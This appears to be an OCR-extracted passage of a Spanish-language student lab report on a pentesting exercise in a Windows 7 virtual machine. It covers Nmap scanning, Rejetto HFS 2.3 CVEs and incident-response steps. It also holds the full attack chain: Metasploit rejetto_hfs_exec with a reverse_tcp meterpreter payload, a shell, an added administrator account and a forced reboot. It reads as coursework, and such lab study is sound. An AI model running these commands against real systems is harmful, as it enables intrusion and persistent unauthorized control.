Version y fecha de BIOS

Versién de SMBIOS

Directorio de Windows
Directorio del sistema
Dispositivo de arranque
Configuracion regional

Capa de abstraccién de hardw...
Nombre de usuario

Zona horaria

Valor

Microsoft Windows 7 Professional
6.1.7601 Service Pack 1 Compilacion 7601
No disponible

Microsoft Corporation

PC202006_DU

innotek GmbH

VirtualBox

PC basado en x64

Intel(R) Core(TM) i3-2100 CPU @ 3.10GHz, 3093 M
innotek GmbH VirtualBox, 01/12/2006
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C:\Windows

C:\Windows\system32
\Device\HarddiskVolumel

Colombia

Version = "6.1.7601.17514"
PC202006_DU\usuario

Hora est. Pacifico, Sudamérica

No disnonible

< | mn

Memoria fisica instalada (RAMY
< m

»

Buscar esto:

["1Buscar sélo la categoria seleccionada

Cerrar blsqueda

["]Buscar s6lo nombres de categoria

D el

Nota. Recoleccion de informacion de la maquina Windows 7

08:27 p.m.
03/11/204 |
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Nmap. Para este paso el software que se usara para el analisis de red y auditoria, el cual
se instala en la version de Kali Linux para ejecutar los comandos y reconocer las direcciones IP
del dispositivo a evaluar, el software es el NMAP Version 7.94SVN compilado e instalado en la
maquina de auditoria.

Figura 15

Software Nmap

0N
7

SRR 2 3 4|E o <

root@kali: /homefkali
File Actions Edit View Help

(Reading database ... 395765 files and directories currently installed.)
Preparing to unpack ... /nmap_7.94+git20230807.3be@lefbl+dfsg-4kali3_amd64.deb

Unpacking nmap (7.94+git20230807.3be@lefbl+dfsg-4kali3) over (7.94+git2023080
7.3be@lefbl+dfsg-2+kali3) ...
Preparing to unpack ... /nmap-common_7.94+git20230807.3be@lefbl+dfsg-4kali3_al
l.deb ...
Unpacking nmap-common (7.94+git20230807.3be@lefbl+dfsg-4kali3) over (7.94+git
File System 20230807 .3be@lefbl+dfsg-2+kali3) ...
Setting up nmap-common (7.94+git20230807.3be@lefbl+dfsg-4kali3) ...
Setting up nmap (7.94+git20230807.3be@lefbl+dfsg-4kali3) ...
Setcap worked! Adding configuration to environment
Y Processing triggers for kali-menu (2024.3.1) ...
Processing triggers for man-db (2.12.1-2) ...
Processing triggers for wordlists (2023.2.0) ...

/home/kali

Nmap version 7.94SVN ( https://nmap.org )

Platform: x86_64-pc-linux-gnu

Compiled with: liblua-5.4.6 openssl-3.2.2 libssh2-1.11.1 1libz-1.3.1 libpcre2-
10.42 libpcap-1.10.4 nmap-libdnet-1.12 ipv6

Compiled without:

Available nsock engines: epoll poll select

/home/kali

Nota. Compilado e instalado en la méaquina de auditoria
Fase Busqueda Vulnerabilidades

Es importante dentro de las actividades descritas en el anexo 4, es la identificacion de los
medios de la maquina vulnerada como se esta generando la fuga de informacion, para lo cual se

tiene dentro del contexto, referencia de varias posibilidades.
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Se puede considerar que la maquina es una SO Windows 7, que para la actualidad se
encuentra obsoleto y sin soporte por parte de la Microsoft por lo cual no recibe servicio de
actualizaciones, lo que imposibilita el parcheo en caso de vulnerabilidades conocidas para este
tipo de Sistema Operativo.

Como segunda consideracion la maquina se encuentra con un usuario basico sin ningin
tipo de seguridad y/o contrasefia de acceso que permita brindar una capa de seguridad.

Dentro del descubrimiento se observa la instalacion de la aplicacion Rejetto File server
Version 2.3, el cual no esté actualizado (Ultima version 2.4.0 RC7).

Figura 16

Aplicacién Rejetto File Server Version 2.3

=)

B Open in browser  hitp://192.168.1.10/ i Copy to chipboard
Virtual File System

/]

@ 1P address Speed Time.. Progress

Out:00KB/s  In: 0.0 KB/s

Nota. Validacion herramienta Rejetto File Server.



Este software puede presentar vulnerabilidades® conocidas y explotadas con antelacion
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como el CVE-2024-1226 (Ataques de secuencia de comandos) y el CVE-224-1227 (Redireccion

de paginas legitimas a sitios maliciosos).

Figura 17

Cve-224-1227 Incibe

.
o

incibe-cert INCIBE  INCIBE-CERT ~ CIUDADANIA ~ MENORES ~ EMPRESAS ~ EVENTOS  ESPANADIGITAL 2026
—

—,——

P\eRGulch=-l  Blog  Publicaciones  Incidentes Servicios Sectores Estratégicos ~ Sobre INCIBE-CERT

Avisos SCI Vulnerabilidades

E’Jltiples vulnerabilidades en Http File Server de

Rejetto

Fecha de publicacion 05/02/2024
Identificador: INCIBE-2024-0061
Importancia 4 - Alta

Recursos Afectados
# Hutp File Server version 2.2a, build #124.

Descripcién
INCIBE ha coordinado la publicacion de 2 vulnerabilidades de severidades alta y media respectivamente, que afectan a Rejetto Http File Server (HFS), version 2.2a
build #124, |as cuales han sido descubiertas por Rafael Pedrero.

A estas vulnerabilidades se les han asignado los siguientes codigos, puntuacion base CVSS v3.1, vector del CVSS y el tipo de vulnerabilidad CWE de cada
vulnerabilidad:

¢ (VE-2024-1226:7.5 | CVSS:3.1/AV:-N/AC:UPR:N/ULN/S:U/C:N/IH/AN | CWE-93.
¢ (VE-2024-1227:6.5 | CVSS:3.1/AV:-N/AC:L/PRN/UIR/S:U/C:H/IN/A:N | CWE-601

Solucién
La vulnerabilidad ha sido solucionada en las versiones posteriores. La version afectada no esta soportada en la actualidad.

Detalle
¢ CVE-2024-1226: el software no neutraliza o neutraliza incorrectamente ciertos caracteres antes de que los datos se incluyan en los encabezados HTTP salientes. La

inclusion de datos invalidados en un encabezado HTTP permite a un atacante especificar la respuesta HTTP completa representada por el navegador. Un atacante
podria controlar la respuesta y elaborar ataques como secuencias de comandos entre sitios y ataques de envenenamiento de caché
¢ CVE-2024-1227: una vulnerabilidad de redireccion abierta, cuya explotacion podria permitir a un atacante crear una direccion URL personalizada y redirigir una

pagina legitima a un sitio malicioso.

Nota. Consulta boletin Incibe-cert en el enlace: https://www.incibe.es/

8

https://www.incibe.es/incibe-cert/alerta-temprana/avisos/multiples-vulnerabilidades-en-http-file-server-de-rejetto

INCIBE. (05 de febrero de 2024). Obtenido de Mdltiples vulnerabilidades en Http File Server de Rejetto:


http://www.incibe.es/
http://www.incibe.es/incibe-cert/alerta-temprana/avisos/multiples-vulnerabilidades-en-http-file-server-de-rejetto
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Fase Explotacion Vulnerabilidades

Para esta fase con las maquinas virtuales iniciadas, la ejecucion de los comandos se
realizara desde la consola Kali Linux, y el equipo intervenido sera la maquina Windows 7 SP1,
el cual cuenta con la ejecucion del software Rejetto en su version V2.3.
Figura 18

Consola Kali Linux

U in?-0u Corriendo] - Oraci ViuaBox

Archivo Miqune Ver Entrads Disposbvos Ayude

root@lali fhomefiali

File Actions Edit View Help

kali:
/home/kali

/home/kali

Do B BTG @ coerecha

Nota. Equipo Windows 7.1 intervenido desde maquina Linux

Desde la herramienta NMAP buscamos los puertos accesibles en el sistema Windows 7 —
SP1 vy la informacion disponible, mediante el comando:

Nmap -sS 192.168.1.10 -A
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Figura 19

Comando Nmap -sS 192.168.1.10 -A

root@kali: fhome/kali
File Actions Edit View Help

/home/kali
192.168.
Starting Nmap 7.94SVN ( ht
Nmap scan report for 192.168
Host 1s up (0.00 latency).
tcp ports (r

cp open
| _http-tit

105-~55n

f 5 r 7601 Service Pack 1 microsoft-ds (workgr

open http Mic httpd 2.0 (S /UPnP)
open http oft httpd 2.0 (SSDP/UPNP)
e

10243/tcp http 3 PAPI httpd 2.0 (SSDP/UPNP)
_http-server-header: Microsoft-HTTPAPI/2.0
_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
open C
/ open
49155/tcp open

Nota. Puertos accesibles en el sistema Windows 7

Fase Post — Explotacion
Para esta fase después de evidenciar las posibles vulnerabilidades y accesos permitidos en el
equipo victima, de forma controlada se realiza diferentes pruebas de a través del uso de exploit (msf6),
payload y ejecucion tipo Shell, para tener acceso y control al equipo Windows con la direccion IP
192.1681.10.
Los comandos usados en Linux fueron:
exploit(windows/http/rejetto_hfs_exec)

set payload windows/x64/meterpreter/reverse_tcp set rhost 192.168.1.10
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Figura 20

Comandos: Exploit(windows/http/rejetto_hfs_exec)

& kali@kali: ~/metasploit-framework

File Actions Edit View Help

No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( ) >
msf6 exploit( ) > set paiload windows/x64/meterpr
eter/reverse_tcp
[!] Unknown datastore option: paiload. Did you mean PAYLOAD?
paiload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set rhost 192.168.1.10
rhost = 192.168.1.10
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.11:4444

Using URL: http://192.168.1.11:8080/V1dBo@V

Server started.

Sending a malicious request to /

Payload request received: /V1dBo@V

Sending stage (177734 bytes) to 192.168.1.10
[!] Tried to delete %TEMP%\ePVgZDg.vbs, unknown result

Meterpreter session 1 opened (192.168.1.11:4444 — 192.168.1.10:49176) at
2024-11-06 16:34:12 -0500

Server stopped.

meterpreter > sessions 1
Session 1 is already interactive.

meterpreter > shell

Process 2224 created.

Channel 2 created.

Microsoft Windows [Versien 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\usuario\Desktop\Rejjeto_123A56>I

Nota. Evidencias de vulnerabilidades en el equipo victima
Fase Informe

El analisis detallado de la situacion revel6 que el equipo comprometido estaba operando
con configuraciones de seguridad insuficientes y una infraestructura obsoleta, lo que lo hacia
vulnerable a ataques externos. La investigacién mostr6 que el Windows 7 (sistema operativo),
sin actualizaciones de seguridad recientes, y la presencia de una aplicacion con fallos criticos
(Rejetto v2.3) facilitaban el acceso remoto no autorizado. Esto evidenci6 fallas de seguridad

criticas, ya que ni el firewall ni los controles adicionales estaban configurados para mitigar estas
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amenazas, este entorno de prueba permite establecer que esta combinacion de vulnerabilidades
permite desde un acceso remoto acceder a informacion sensible y configuraciones generales del
equipo.

Listado de Datos Anexo - 4

Para abordar el escenario propuesto de la etapa 3 — Componente Practico - anexo 4, en la
identificacion del fallo de seguridad en el equipo Windows afectado. A continuacion, se detallan
los datos que fueron Utiles en la investigacion y su respectiva descripcion en el contexto de la
situacion:

Como primera medida fue importante la validacion de Informacion del sistema operativo
del equipo afectado (Windows 7 SP1) y el cual tenia el software Rejetto V2.3 identificada como
vulnerable de acuerdo con las investigaciones previas sobre CVE arrojadas en | plataforma
INCIBE. Este detalle fue clave porque permitio focalizar la busqueda en posibles exploits
asociados a la version de esta aplicacién y el sistema operativo Windows. El exploit que podria
derivar en acceso mediante Shell y escalacién de privilegios nos indic6 una falla potencialmente
critica.

Al examinar las conexiones de red, y en énfasis en los puertos abiertos, se identificaron
intentos de conexion saliente que no correspondian con las actividades esperadas de la
aplicacién. Esto permite la validacion de la aplicacién vulnerable, asi como la ejecucion en la
transmision de datos, como parte de la fuga de informacién.

Otra accion establecida fue la validacion de los registros de eventos de Windows, los
cuales se usaron para buscar eventos inusuales relacionados con la creacion de usuarios y
actividad de escalacion de privilegios. La creacion de un usuario con privilegios de

administrador adicional que no estaba registrado inicialmente puede haber sido parte del exploit.
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Esto permite a el atacante el uso de técnicas de escalacion de privilegios, aprovechando
vulnerabilidades de la aplicacién o configuraciones débiles en el sistema.
Identificacion Fallos Seguridad

En la identificacion de fallos de seguridad del sistema operativo Windows 7 (SP1) se
logroé identificar o establecer que este sistema operativo en desuso y/u obsoleto por no recibir
actualizaciones de seguridad de la casa Microsoft hace afios, presenta servicios y conexiones
abiertos que permiten el acceso remoto, asi como servicios Firewall desactivados que posibilita
las acciones de los atacantes para la busqueda y ejecucién de vulnerabilidades.
Figura 21

Identificacién Fallos Seguridad

root@kali: fhome/kali

File Actions Edit View Help

Starting Nmap 7.94
Nmap scan report for 1
Host 1s up

resp?

sp
http Mic ft HTTPAPI httpd 2.0 (S

]
PAPI httpd 2.0 (SSDP/UPNP)

open - M indows
open

Nota. Busqueda y ejecucidn de vulnerabilidades en el equipo victima.
Con la ejecucion del comando sudo nmap -sS 192.168.1.10 — A desde la plataforma

Linux para validar la informacién de la maquina victima, se logra establecer esta presenta los
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siguientes puertos abiertos: 80/tcp, 135/tcp, 139/tcp, 445/tcp, 554/tcp, 2869/tcp, 5357/tcp,
49152/tcp, 49153/tcp, 49154/tcp, 49155/tcp.

Dentro de los puertos abiertos se encuentra el puerto 80/tcp abierto estandar para el
trafico HTTP, que no es necesariamente sospechoso, pero para este caso esta en modo
LISTENIN el cual esta preparado para recibir conexiones entrantes, en este caso para la version
httpFileServer httpd 2.3 el cual corresponde al software Rejetto v2.3 en ejecucion, que es
particularmente sospechoso por sus vulnerabilidades conocidas y documentadas para el acceso
remoto.

Figura 22

Http FileServer httpd 2.3

8 HFS ~ HTTP File Server 23 j =5 EoN =

& Menu | ) Port:80 | 84 You arein Easy mode
E Open in browser http://192.168.1.10/ "1 Copy to clipboard
Virtual File System

4/

Wi 1P address ) Speed Time.. Progress

Out:00KB/s  In:0.0 KB/s

Nota. Descubrimiento vulnerabilidades conocidas en software File Server Ver 2.3
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Impacto del ataque en la Maquina (Windows 7x64)

El ataque al equipo victima con el sistema operativo Windows 7 SP1 con arquitectura
X64, presenta varios riesgos de seguridad al exponer y explotar las vulnerabilidades encontradas,
el mas complejo es la ejecucion remota de acceso, permitido por una maquina que no cuenta con
soporte de actualizaciones y desactualizada, la falta de reglas de firewall definidas que establece
pocas herramientas de proteccion en tiempo real, por otro lado la utilizacion de exploit conocidos
para software detecta (rejetto v2.3) que también se encuentra sin actualizacion de version permite
que se use para la ejecucion de comandos de formas remota, proporcionando accesos no
autorizados como el descubrimiento de servicios, el escalamiento de privilegios, creacién de
usuarios, modificacion de archivos y hasta la instalacion de software o malware, a través del
control de la maquina mediante el puerto 80 se puede recopilar datos sensibles y extraccion de
informacion relevante hacia servicios externos y demas acciones de uso del sistema operativo
que fue vulnerado.
Figura 23
Afectacion del Ataque a la Maquina (Windows 7x64)

== Windows 7 e
=

VULNERABILIDADE

a2, No soporte
§?§% e Y usuario_sin contraseia
g Rejetto File Server v2.3 J

= EXPLOTACION
RECOLECCION ‘ NMAP
Informacion \ -SS 192.168.1.10 -A

Windows 7-SP1

PC202006_DU tage 1
N g | —
AT rort 80
e
)72' 3 N 4 12
-_—
i »)
@ O —>
- =
© )
: N2 =3
POST - EXPLOTACION INFORMACION
exploit (msfé6) Reporte actividades
Payload - Shell acceso remoto

Nota. Pasos de afectacion del ataque a la maquina victima



43

Pasos de explotacion de vulnerabilidades.

En la fase de explotacion a la maquina virtual Windows 7 SP1 se conoce la direccion IP
192.168.1.10 con un software en version desactualizada rejetto 2.3V, que tiene vulnerabilidades
conocidas para uso de herramientas de explotacién como metasploit en su version 6.4.35-dev.

Comandos usados en Linux para el uso de metasploit:

exploit(windows/http/rejetto_hfs_exec)

Al ejecutar este comando desde la maquina Linux (atacante) hacia la maquina virtual
Windows (victima), se aprovecha una vulnerabilidad conocida en el servidor web Rejetto V2.3
HFS (HTTP File Server) que facilita la ejecucion remota de cddigo si no cuenta con las
actualizaciones referentes.
Figura 24

Pasos de Explotacion de vulnerabilidades

& kali@kali: ~/metasploit-framework

File Actions Edit View Help

PAYLOAD

+ — —=[ 2460 exploits 1270 auxiliary - 393 post
+ — ——=[ 1475 payloads 49 encoders - 13 nops
+ —— ——=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
msf6 > use exploit/windows/http/rejetto_hfs_exec

No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( ) >

Nota. Ejecucion de Exploit hacia la maquina victima



Uso del comando:

set payload windows/x64/meterpreter/reverse_tcp

La ejecucion de este comando permite seleccionar el payload con la carga util que se
ejecutara una vez que se haya explotado la vulnerabilidad con éxito, se establece una conexién
reversa sobre TCP, para que la maquina (victima) proporcione acceso remoto autorizado.
Figura 25
Comando Linux

kali@kali: ~/metasploit-framework

Actions Edit View Help

=[ metasploit v6.4.35-dev
—=[ 2460 exploits - 1270 auxiliary - 393 post
-—=[ 1475 payloads - 49 encoders - 13 nops
-—=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/windows/http/rejetto_hfs_exec
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( ) 1
msf6 exploit( ) > set paiload windows/x64/meterpr
eter/reverse_tcp
[!] Unknown datastore option: paiload. Did you mean PAYLOAD?
paiload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set rhost 192.168.1.10
rhost = 192.168.1.10
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.11:4444

Using URL: http://192.168.1.11:8080/V1dBo@V

Server started.

Sending a malicious request to /

Payload request received: /V1dBo@V

Sending stage (177734 bytes) to 192.168.1.10
[!] Tried to delete %TEMP%\ePVgZDg.vbs, unknown result

Meterpreter session 1 opened (192.168.1.11:4444 — 192.168.1.10:49176) at
2024-11-06 16:34:12 -0500

Server stopped.

meterpreter > ||

Nota. Ejecucion Payload con la carga util la maquina victima
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Uso del comando:

set rhost 192.168.1.10

El uso de este comando configura la IP de destino como Host remoto para él envio del
exploit que aprovechara la vulnerabilidad de la maquina (victima.).
Figura 26

Destino Host Remoto

424 HFS ~ HTTP File Server 23 Build 288 Eg
& Menu | f:? Port: 80 | @ You are in Easy mode
m Open in browser  http://192.168.1.10/ ] Copyto cliphoar
Virtual File Systemn Log
.;‘ 04:34:45 p.m. 192.168.1.11:3995% Requested GET /?search=> On+Eror+Res}

= %.0pen+"GET" "http://192.168.1.11:8080/V1dBo0V" False
= [f+Em Mumber+<=+0+Then

= wsh_exit

» End+If

= . Send

= Executeti responseText.}

04:34:46 p.m. 192.168.1.11:41703 Requested GET /?search=

Wl 1P address ] File Status Speed  Time.. Progres§

Out 0.0 KB/ In:0.0 KB/s

hfs Fecha de modifica... 16/02/2014 07:58 a.m.  Fecha de creacion: 28/11/2020 10:49 a.m.
Aplicacion Tamanio: 742 KB

7 \i/ o @ ‘E 0 1 ;‘nf,';,"z‘_,[

Nota. Ejecucién Payload con la carga util la maquina victima




Una vez ejecutado correctamente el xploit se establece conexion remota con el equipo
(victima), usando los comandos:
Meterpreter:
sessions 1
Shell
Figura 27

Conexién Remota con el Equipo (Victima)

& kali@kali: ~/metasploit-framework

File Actions Edit View Help

Server stopped.

meterpreter > sessions 1
Session 1 is already interactive.

meterpreter > shell

Process 2224 created.

Channel 2 created.

Microsoft Windows [Versien 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\usuario\Desktop\Rejjeto_123456>ipconfig
ipconfig

Configuracien IP de Windows

Adaptador de Ethernet Conexien de erea local:

Sufijo DNS especefico para la conexien.

Venculo: direccien IPv6 local. . . : fe80::4842:9ce4:4e38:7898%11
Pireceion IPvL. . W @ W W @ W e e e 10206801 .10

Mescara de subred . @ « W W W W W W e e ow e 255.255.255.0

Puerta de enlace predeterminada . . . . . : 192.168.1.1

Adaptador de tenel isatap.{5BESBED2-9B04-4799-BEB3-D289D73C2460}:

Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS especefico para la conexien.

C:\Users\usuario\Desktop\Rejjeto_123456>]

Nota. Conexién remota en el equipo victima desde la maquina atacante
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Desde la consola Kali Linux se ejecutan los siguientes comandos para validar la
configuracion IP del equipo (victima).

Comando: ipconfig

El direccionamiento del equipo victima es:

Direccion IP(1Pv4):192.168.1.10

Macara de SubRed: 255.255.255.0

Puerta de enlace:192.168.1.1

Direccion IP (IPv6): fe80:4842:9ce4:4e38:7898%11
Figura 28

Validacion Configuracion IP

‘9

kali@kali: ~/metasploit-framework

File Actions Edit View Help

Process 2224 created.

Channel 2 created.

Microsoft Windows [Versien 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\usuario\Desktop\Rejjeto_123456>ipconfig
ipconfig

Configuracien IP de Windows

Adaptador de Ethernet Conexien de erea local:

Sufijo DNS especefico para la conexien.

Venculo: direccien IPv6 local. . . : fe8@::4842:9cek4:4e38:7898%11
PDireccion IPVA R = & & & % o oo oo 492316821510

Mescara de subred . . . . . . . . . . . . : 255.255.255.0

Puerta de enlace predeterminada . . . . . : 192.168.1.1

Adaptador de tenel isatap.{5BES8BED2-9B04-4799-BEB3-D289D73C2460}:

Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS especefico para la conexien.

Nota. Validacion de la conexion remora en el equipo victima (192.168.1.10)
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Agregar usuario local con elevacion de permisos administrativos, de acuerdo con la guia
a través de los siguientes comandos:
Comando:
Net user DiegoUsme /add
Net localgroup administradores DiegoUsme /add
Figura 29

Elevacion de Permisos Administrativos

=

kali@kali: ~/metasploit-framework

File Actions Edit View Help

ipconfig

Configuracien IP de Windows

Adaptador de Ethernet Conexien de erea local:

Sufijo DNS especefico para la conexien.

Venculo: direccien IPv6 local. . . : fe80::4842:9ce4:4e38:7898%11
Pireccien IPV4: v v v 0 W U U e e e e ot 192.168.1.10

Mescara de. subreds. @ v . . . W e e oue ovoe = 2550255.255.0

Puerta de enlace predeterminada . . . . . : 192.168.1.1

Adaptador de tenel isatap.{S5BES8BED2-9B04-4799-BEB3-D289D73C2460}:

Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS especefico para la conexien.

C:\Users\usuario\Desktop\Rejjeto_123456>net user DiegoUsme /add
net user DiegoUsme /add
Se ha completado el comando correctamente.

C:\Users\usuario\Desktop\Rejjeto_123456>net localgroup administradores DiegoU
sme /add

net localgroup administradores DiegoUsme /add

Se ha completado el comando correctamente.

C:\Users\usuario\Desktop\Rejjeto_123456>]]

Nota. Imagen sobre la elevacion de permisos administrativos para accesos posteriores



A traves de los siguientes comandos podemos corroborar los usuarios actuales de la
magquina con sus roles respectivos:
Comandos:
netuser
net localgroup administradores
Figura 30

Elevacion de Permisos Administrativos

kali@kaliz ~/metasploit-framework

File Actions Edit View Help

Nota. Ejecucion y creacion de usuarios administrativos
Figura 31

Validacién Elevacion de Permisos Administrativos

&% Win7-DU [Corriendo] - Oracle VirtualBox — [m] >

Archivo Maquina Ver Entrada  Dispositivos  Ayuda

= = =
ot
Propiedades: DiegoUsme 7| =]
| General | Miembro de | Perfil | S
Miembro de laarios -
&5 Administradores Acciones a diciona les >
& Usuarios
>

cia a grupos
a que el

Agregar._._|

i)

Nota. Ejecucién y creacion de usuarios administrativos
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A través del siguiente comando podemos validar y revisar los archivos de registro de
eventos (logs de seguridad) del sistema operativo, donde se puede buscar y analizar todos los
registros de cambios y acciones que se ejecuten en Windows, alli se puede visualizar los cambios
de usuario y la elevacion de privilegios.

Comando:

Wevtutil ge Security
Figura 32

Comando Wevtutil Security

Nota. Validacién de eventos dentro de la maquina victima

A través de la siguiente linea de comando podemos observar la ejecucién de los procesos
en Windows, informacién vital del sistema operativo.

Comando:

Tasklist



Figura 33

Ejecucion de los Procesos en Windows

File Actions Edit View Help
UDP [ ::1]:49244

Kali@kali: ~fmetasploit-framework

ik

UDP  [fe80::4842:9cel:4e38:7898%11]:1900 #:%
UDP [fe80::4842:9ced:4e38:7898k11] 49243 #:x

C+\Users\usuario\Desktop\Rejjeto_123456>tasklist

tasklist
Nombre de imagen

Systen Idle Process
System

SMss., exe
(5155, exe
(5155, exe
wininit.exe
winlogon.exe
Services.exe
1sass. exe
Lsm.exe
svchost, exe
VBoxService.exe
svchost . exe
svchost . exe
svchost, exe
svchost, exe
svchost, exe
svchost . exe
spoolsv, exe
svchost, exe
svchost . exe
taskhost. exe

PID Nombre de sesien Nem, de ses Uso de memor

0 Services
4 Services
248 Services 1,032 KB
320 Services 3.624 KB
368 Console 5.180 KB
376 Services 4,168 KB
404 Console 6,408 KB
464 Services 1.872 KB
472 Services 9,716 KB
480 Services 3.764 KB
572 Services 8.172 KB
632 Services 5,276 KB
692 Services 6,496 KB
788 Services 16.116 KB
828 Services 12,076 KB
852 Services 27,992 KB
1004 Services 12,188 KB
372 Services 12,572 KB
1088 Services 10.608 KB
1120 Services 12,416 KB
1240 Services 13,224 KB
1360 Console 7.976 KB

Archivo Maquina Ver Entrada Dispositivos  Ayuda

i 8 Administrador de taeas de Windows

Archivo Opciones Ver Ayuda

| Apicacons | Pocesos | Seyicos ‘ Rendmiento l Fundones de red ’Usuanos

[o
(=
&

Nombre dgim... Nombre... CPU Memoria... Descripcion

mdexe®® usuaio 00 772KB Procesad...
|mdee®n w00 B4B Proesad..
conhostexe  usuario 00 9B0KB Hostdev..,
orhostexe  usuario 00 %KD Hostdev..,
(SIS5.XE SYSTEM 00 L19KB Procesoe..,
(5755848 SYSTEM 00 L3248 Procesoe..,
dim.exe usuario 00 1108KB  Administr.
eplorerexe  usuario 00 23.292KB Explorado..,
hsexe®2  usualo 00 S4B hfs

Isass.exe SYSTEM 00 2748KB Local Sec..,
m.exe SYSTEM 00 1.200KB Senidod..,
Proceso inacti.. SYSTEM 99 UKB Porcentsj..,
Searchindere.,, SYSTEM 00 5.544KB  Indzador ..
senicesexe  SYSTEM 00 3.560KB  Aplcadon...
SMSS exe SYSTEM 00 BB Administr...

&

[V Mostar procesos de oo s usuarics

Finalzar proceso |

Procesos: 3 Uso de CPU:0% Memoria isica: 41%

Qut:00KB/s  In:00KB/s

Aplicacion Tamario: 142KB

hs Fecha de modifica.. 16/02/2014 07:58 am,

Fecha de creacion: 28/11/202010;

Nota. Validacién de procesos en ejecucion en la maquina victima
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Mediante el uso de los siguientes comandos en la consola Linux, se puede visualizar del

equipo (victima) las conexiones activas que tiene, asi como la direccion remota y el estado de

esas conexiones.

Comando:

netstat /an



Figura 34

Comando Netstat /an

C:\Users\usuario\Desktop\Rejjeto_123456>netstat /an

netstat /an

Conexiones activas

Proto
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
L
L
TCP
L
TCP
TCP
L
TCP

Nota. Validacién de procesos en ejecucion en la maquina victima

Por ultimo, a través de la consola podemos realizar un apagado o reinicio de la maquina
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victima a través de la siguiente linea de comando:

Comando:

shutdown /r /f/t O
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Figura 35

Comando Shutdown /r /f [t

D Cerrando sesion..

. Windows 7 professiorn

Nota. Validacion ejecucion de acciones como reinicio en la maquina victima

Después del reinicio se visualiza los dos usuarios que se establecieron, el usuario antiguo
y el usuario creado con privilegios de administrador.
Figura 36

Validacién Creacion Usuario Administrador

% Win7-DU [Corriendo] - Oracle VirtualBox — ] >3
Archivo Maquina Ver Entrada Dispositivos  Ayuda

= Windows 7 Professional

D &P S i 9 B [E) CTRL DERECHA
e

Nota. Validacién de inicio de sesion y los dos usuarios creados en la maquina victima
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Etapa 4
Acciones Atague en Tiempo Real

Ante un ataque en tiempo real, las acciones iniciales deben enfocarse en contener la
amenaza, recopilar evidencias, y prevenir el escalamiento. La estrategia se divide en las
siguientes fases:

Como primera medida se debe realizar el aislamiento de la maquina afectada
desconectando fisica y virtualmente de la red, que permita evitar que el atacante pueda continuar
interactuando con el sistema comprometido, asi como que el ataque se propague a otros sistemas.

Seria muy importante identificar todos aquellos procesos y servicios sospechosos, a
través del uso de herramientas, como el comando tasklist, o el administrador de Tareas para listar
los procesos en ejecucién y buscar comportamientos anémalos.

Figura 37

Acciones Ataque en Tiempo Real

BEX Administrador: C\Windowshsystem32\cmd.exe

Microsoft Windows [Uersion 6.1.76011
Copyright <c> 2889 Microsoft Corporation. Reservados todos los derechos.

ario>tasklist

én HNim. de ses Uso de memor

SearchProtocolHost .exe
sppsve -exe

=) (5
{0 @7 7| | =) i 3 & @] CTRL DERECHA

Nota. Validacion de acciones de un ataque en tiempo real
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Dentro De las posibilidades analizar las conexiones de red activas: Usar comandos como
netstat, Wireshark, o TCPView para identificar conexiones salientes que podrian estar enviando
datos al atacante, revisar posibles tuneles de red como conexiones a través de puertos no
estandares o direcciones IP sospechosas.

Figura 38

Comandos Netstat, Wireshark, o TCPView

% Win7-DU [Corriendo] - Oracle VirtualBox - [}

Archive Maguina Ver Entrada Dispositivos Ayuda
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Nota. Identificacion de conexiones salientes, validacion de datos

Muy importante revisar los registros del sistema (logs) para analizar los eventos recientes
en el Visor de Windows, especialmente los relacionados como Inicio de sesion fallidos o
exitosos, Cambios en configuraciones criticas y errores y advertencias inusuales, entre otras

variantes.



Figura 39

Eventos Visor de Windows

12| Visor de eventos
Archiva Ayuda

== >E HE

Accién  Ver

4] Visor de eventos (local)
+ Vistas personalizadas
4 [ Registros de Windows

£] Eventos reenviados
Registros de aplicaciones y s
% Suscripciones

Seguridad Mimero de eventos: 385

Palabras clave Fechay hora Origen Id. d... Categoria de |a tarea =
2_Auditoria correcta 06112024 06:40:...  Auditor. 4624 Inicio de sesion

@ Auditorfa correcta  06/11/2024 06:40:...  Auditor. 4802 Cambio en la directiva de audi..
2_Auditoria correcta 06112024 06:40:...  Auditor. 4624 Inicio de sesion

@ Auditorfa correcta 06/11/2024 06:40:...  Auditor.. 4608 Cambio de estade de seguridad

@ Auditoria correcta  06/11/2024 05:00:... Eventlog 1100 Cierre del servicio

@, Auditoria correcta 06/11/2024 044 Auditor... 4647 Cerrar sesién

Administracién de grupos des...

@ Auditorfa correcta  06/11/2024 04:3%:..  Auditor.. 4732 Administracién de grupos de 5.
@ Auditoria correcta 06112024 04:39:...  Auditor. 4738 Administracién de cuentas de ..
9, Auditoria correcta  06/11/2024 04: Auditor... 4722 Administracién de cuentas de ..
2 Auditoria correcta  06/11/2024 04: Auditor. 4720 Administracién de cuentas de ..
P Auditoria correcta  06/11/2024 04:3%... Auditor.. 4728 Administracién de grupos de s.. _
apr— S — “n — - - - v
Evento 4732, Auditoria de seguridad de Microsoft Windows. x
General | Detalles
Se agregé un miembro a un grupe local con seguridad habilitada. 3

Nombre de registro:  Seguridad

Origen: Auditoria de seguridad de Microso Registrado: 06/11/2024 0d:4 _

“ i B

[E=SEE )

Acciones

Seguridad

= Abrir registr...

¥ Crear vista ...
Importar vi...
Vaciar regis...

¥ Filtrar regist...

[ Propiedades

B8 Buscar..

d Guardarto...
Adjuntar ta..
Ver
Actualizar

EH 2vuda

Evento 4732, Au...

[£]] Propiedade...

3] Adjuntar ta..

[ Copiar

bd Guardar ev...

& Actualizar

[ I

Esta copia d

m

